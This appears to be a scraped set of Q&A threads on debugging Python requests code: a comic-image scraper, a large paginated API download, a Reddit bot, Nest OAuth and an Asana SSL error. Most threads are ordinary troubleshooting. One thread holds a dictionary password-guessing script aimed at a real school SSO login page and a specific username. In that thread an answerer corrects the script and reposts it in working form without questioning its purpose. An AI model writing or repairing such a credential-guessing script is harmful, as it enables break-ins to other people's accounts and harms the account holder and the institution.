I am trying to make app that download comics but whenever I try to download an image, it says no host supplied.
I really searched and there was nothing.
This is the code:
import requests,bs4
url='https://www.marvel.com/comics/issue/71314/edge_of_spider-geddon_2018_1'
res=requests.get(url,stream=True)
res.raise_for_status()
soup=bs4.BeautifulSoup(res.text)
elem=soup.select('div[class="row-item-image"] img')#.viewer-cnt .row .col-xs-12 #ppp img')
#print(elem)
comicurl='https:'+elem[0].get('src')
res=requests.get(comicurl,stream=True,allow_redirects=True)
res.raise_for_status()
with open(comicurl[comicurl.rfind('/')+1:],'wb') as i:
for chunk in res.iter_content(100000):
i.write(chunk)
I expect it to download the image but it gives me this error:
Traceback (most recent call last):

requests.exceptions.InvalidURL: Invalid URL 'https:https://i.annihil.us/u/prod/marvel/i/mg/6/b0/5b6c5e4154f75/portrait_uncanny.jpg': No host supplied
And it gives it to me whenever I try it on any website.
it looks like elem[0].get('src') evaluates to https://i.annihil.us/u/prod/marvel/i/mg/6/b0/5b6c5e4154f75/portrait_uncanny.jpg.
so on line comicurl='https:'+elem[0].get('src') you add http: in front of an already well formed url, making it invalid
Can't argue with this: Invalid URL 'https:https://i.annihil.us/u/prod -- the URL is really invalid, probably you should get rid of https in the following statement:
comicurl='https:'+elem[0].get('src')

Please help me i don't know how to use requests
This is the code :
import requests
url = requests.get("https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html")
arq = open('word.txt','r').readlines()
for line in arq:
password = line.strip()
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
content = http.content
if "Identifiant ou mot de passe incorrect" in content:
print("[-]Invalide : "+password)
else:
print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
break
and i got this :

As said by #Iarsks, this is a problem where you're trying to use the URL variable, but the URL variable is not a string but an object, request object to be specific.
If I understood your code, I and as #Iarsks said, you probably don't understand how requests work cuz, it seems like your trying to declare an URL somehow when it's not needed. To simplify, you only need the URL string like this:
url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"
with out the requests.get() function.
So you can understand this library better there are two mainly used requests methods GET and POST, there are more, but for the sake of this ill only talk about these two, where GET is when you want to get information from the website, for example, a JSON file from and API, and POST when your want to save or send some new data to and API or webpage.
Anyways I would recommend your reading about the basics of requests and how the backend handles them to understand and see how it all works before starting to use requests on your own.
If I got your problem right, the following code should fix your problem:
import requests
url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"
arq = open('word.txt','r').readlines()
for line in arq:
password = line.strip()
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
content = http.content
if "Identifiant ou mot de passe incorrect" in content:
print("[-]Invalide : "+password)
else:
print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
break
Hi I am trying to a hit an API using requests module of python. The Api has to be hit 20000 times as the number of pages are around 20000. In every hit the data comes around 10 mb. By the end of the process it creates a json file of around 100gb. Here is the code I have written
with open('file.json','wb',buffering=100*1048567) as f:
while(next_page_cursor != ""):
with request.get(url,headers=headers) as response:
json_response = json.loads(response.content.decode('utf-8'))
"""
json response looks something like this
{
content:[{},{},{}........50 dictionaries]
next_page_cursor : "abcd"
}
"""
next_page_cursor = json_response['next_page_cursor']
for data in json_response['content']:
f.write((json.dumps(data) + "\n").encode())
But after running successfully for few pages the code fails giving the below error:
Traceback (most recent call last):

you need to use response.iter_content

I'm trying to write a redditbot; I decided to start with a simple one, to make sure I was doing things properly, and I got a RequestException.
my code (bot.py):
import praw
for s in praw.Reddit('bot1').subreddit("learnpython").hot(limit=5):
print s.title
my praw.ini file:
# The URL prefix for OAuth-related requests.
oauth_url=https://oauth.reddit.com
# The URL prefix for regular requests.
reddit_url=https://www.reddit.com
# The URL prefix for short URLs.
short_url=https://redd.it
[bot1]
client_id=HIDDEN
client_secret=HIDDEN
password=HIDDEN
username=HIDDEN
user_agent=ILovePythonBot0.1
(where HIDDEN replaces the actual id, secret, password and username.)
my Traceback:
Traceback (most recent call last):

Any help would be appreciated. PS, I am using Python 2.7., on Ubuntu 14.04. Please ask me for any other information you may need.
The way i see it, it seems you have a problem with your request to Reddit API. Maybe try changing the user-agent in your in-file configuration. According to PRAW basic configuration Options the user-agent should follow a format <platform>:<app ID>:<version string> (by /u/<reddit username>) . Try that see what happens.
Base script:
from sanction import Client
# client_id & client_secret are omitted but are valid
client_pin = input('Enter PIN:')
access_token_url = 'https://api.home.nest.com/oauth2/access_token'
c = Client(
token_endpoint=access_token_url,
client_id=client_id,
client_secret=client_secret)
c.request_token(code = client_pin)
[See edits for history]
Running c.request('/devices') returned:
Traceback (most recent call last):
File "C:\py\nest_testing_sanction.py", line 36, in <module>
c.request("/devices")

raise ValueError("unknown url type: %r" % self.full_url)

Given the output it seems like I need to be putting in a generic URL so I tried c.request('wss://developer-api.nest.com'):
Traceback (most recent call last):
File "C:\py\nest_testing_sanction.py", line 36, in <module>

raise URLError('unknown url type: %s' % type)
urllib.error.URLError: <urlopen error unknown url type: nonewss>
I also tried https as per:
- same result
By contrast, this works (for a firebase.io virtual device):
firebase = firebase.FirebaseApplication('https://nesttest.firebaseio.com', None)
thermostat_result = firebase.get('/devices', 'thermostats')
In Python I would use something like sanction to keep things simple. You should be able to get it to work with the Nest API using code like: (untested, using token flow rather than pin flow)
from sanction.client import Client
# instantiating a client to get the auth URI
c = Client(auth_endpoint="https://home.nest.com/login/oauth2",
client_id=config["nest.client_id"])
# instantiating a client to process OAuth2 response
c = Client(token_endpoint="https://api.home.nest.com/oauth2/access_token",
client_id=config["nest.client_id"],
client_secret=config["nest.client_secret"])
The library is well documented, so you should be able to figure it out from here if something is missing.
This is more of a comment, but the system does not let me comment just yet.
To your question about where to put the web pin simply add code = pin to the request_token call.
c.request_token(code = nest_client_pin)
This still does not fully solve the issue as I can only use a PIN once. After I have used it once, every subsequent call will fail again as you describe. Still researching that.
I can't figure out why all of a sudden the below code that uses Asana's API generates the below SSL error. Something must have changed on my laptop, since it runs perfectly on my other computer.

We recently changed our SSL key in response to the Heartbleed bug you may have heard about. http://blog.asana.com/2014/04/heartbleed/
It looks like your laptop may not have the right SSL. See https://github.com/pypa/pip/issues/829 for discussion of a similar issue.
You should be able to check SSL version on the two machines with python -c "import ssl; print ssl.OPENSSL_VERSION". If indeed the laptop is behind, you'll need to update your python's SSL.
